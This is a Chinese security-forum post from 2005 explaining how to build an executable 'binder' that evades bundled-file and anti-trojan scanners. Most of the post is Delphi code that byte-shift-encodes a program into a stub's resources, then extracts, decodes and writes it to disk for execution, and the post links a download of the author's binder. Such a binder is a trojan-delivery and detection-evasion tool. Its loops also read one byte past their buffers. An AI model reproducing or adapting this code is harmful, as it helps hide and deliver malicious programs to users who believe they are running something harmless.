论坛: 菜鸟乐园 标题: 挑战捆绑文件扫描器的一种方法作者:HEART 复制本贴地址    
作者: yoyo989898 [yoyo989898]    论坛用户   登录
        自从也不知道谁写的一个捆绑文件查看器后,文件合并器的生命就。。。。。了~

  上次看见mjbinder和蔬菜合并器不会被捆绑文件查看器查出来,一直就郁闷。(不知道原理当然郁闷了)的确查不出来但是用PEID扫描可以发现有附加数据。但是大家写程序的时候都用过资源吧,文件保存在资源里是不会被合并文件查看器发现的。所以把文件放到资源中就可以实现不被查和提取(呵呵~不是杀哦~)。

  但是资源都是程序搞的时候自己作个资源脚本,编译的时候直接编译进去的,所以现在要作不被查的合并器都是手工实现。。。用资源方式保存EXE等文件在stub里面。运行stub的时候把文件释放出来,然后再用ShellExecute关联运行。但是每次这样搞人都挂了。翻翻MSDN发现一条函数:UpdateResource

  作过汉化软件的朋友都知道这个函数干吗用的,就是更新资源用的。现在大家都明白了吧,就是用这个函数更新资源(写过汉化软件的朋友都知道)。

  不过后来发现,那个什么来着木马克星捆绑文件查看器,可以查出有3个文件头(我是合并记事本+计算器的)~大问题呀,赶紧解决。修改一下,把资源加密后再存放成资源,具体代码:

procedure bindfiles;
var
f1: File;
contents: PChar;
NumRead: integer;
iSize: integer;
i: integer;
hBeg: DWORD;
begin
AssignFile(f1,od1.FileName);//打开文件(就是你要合并的文件--这里是指资源)
Reset(f1, 1);//准备写入
iSize := FileSize(f1);//返回文件大小
GetMem(contents, iSize);//申请一个足够大的空间
BlockRead(f1, contents^, iSize, NumRead);//开始写入contents变量
CloseFile(f1);//关闭文件
//下面开始加密contents变量了~
for i := 0 to iSize do
begin
if (Ord((contents+i)^) = 255) then
begin
(contents+i)^ := Chr(1);
end
else if Ord((contents+i)^) = 0 then
begin
(contents+i)^ := Chr(0);
end
else
begin
(contents+i)^ := Chr(Ord((contents+i)^) + 1);
end;
end;
//加密完毕~开始更新资源
hBeg := BeginUpdateResource(PChar(ExtractFilePath(ParamStr(0)) + 'stub.exe'), FALSE);
//打开找到需要更新的主宿文件(就是我们需要的stub.exe)
if (hBeg = 0) then Exit;//没有找到就退出
UpdateResource(hBeg, 'RT_RCDATA','DNA1', 1033, contents, iSize);
//起个名字叫DNA1~语言是1033~存放在RT_RCDATA里面
EndUpdateResource(hBeg,FALSE);//更新资源完毕~
FreeMem(contents);//释放contents~
end;



  没了,聪明的你一定能看懂。有个半成品,大家去http://Anskya.ys168.com下载Blue seed binder 0.1(暂时只是测试版本,有很多BUG)。合并的时候请把合并器解压到一个文件夹里再运行(也是BUG~555~过几天学校稳定下来再改改)。

  stub运行的时候先载入资源再解密然后存到硬盘上~运行。

stub code:

procedure resfree(s:pchar;var x:pchar);
var hand : THandle;
var hRes : THandle;
var iSize : integer;
var pData : PChar;
var pCont : PChar;
var iWrote : integer;
var f1 : file;
var i : integer;
begin
//寻找指定的资源
hand := FindResource(HInstance, s, 'RT_RCDATA');
if (hand = 0) then Exit;
hRes := LoadResource(HInstance, hand);
if (hRes = 0) then Exit;
iSize := SizeofResource(0, hand);
if (iSize = 0) then Exit;
pCont := LockResource(hRes);
GetMem(pData, iSize);
//解密过程~
for i := 0 to iSize do
begin
(pData+i)^ := (pCont+i)^;
end;
for i := 0 to iSize do
begin
if Ord((pData+i)^) = 1 then
begin
(pData+i)^ := Chr(255);
end
else if Ord((pData+i)^) = 0 then
begin
(pData+i)^ := Chr(0);
end
else
begin
(pData+i)^ := Chr(Ord((pCont+i)^) - 1);
end;
end;
//解密完毕~开始写入硬盘~
AssignFile(f1, PChar(x));
Rewrite(f1, 1);
BlockWrite(f1, pData^, iSize, iWrote);
CloseFile(f1);
FreeMem(pData);
end;



  如何?这样就可以把资源还原保存出来了。不过这样只是其中的一个方法。



地主 发表时间: 05-03-18 16:26

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号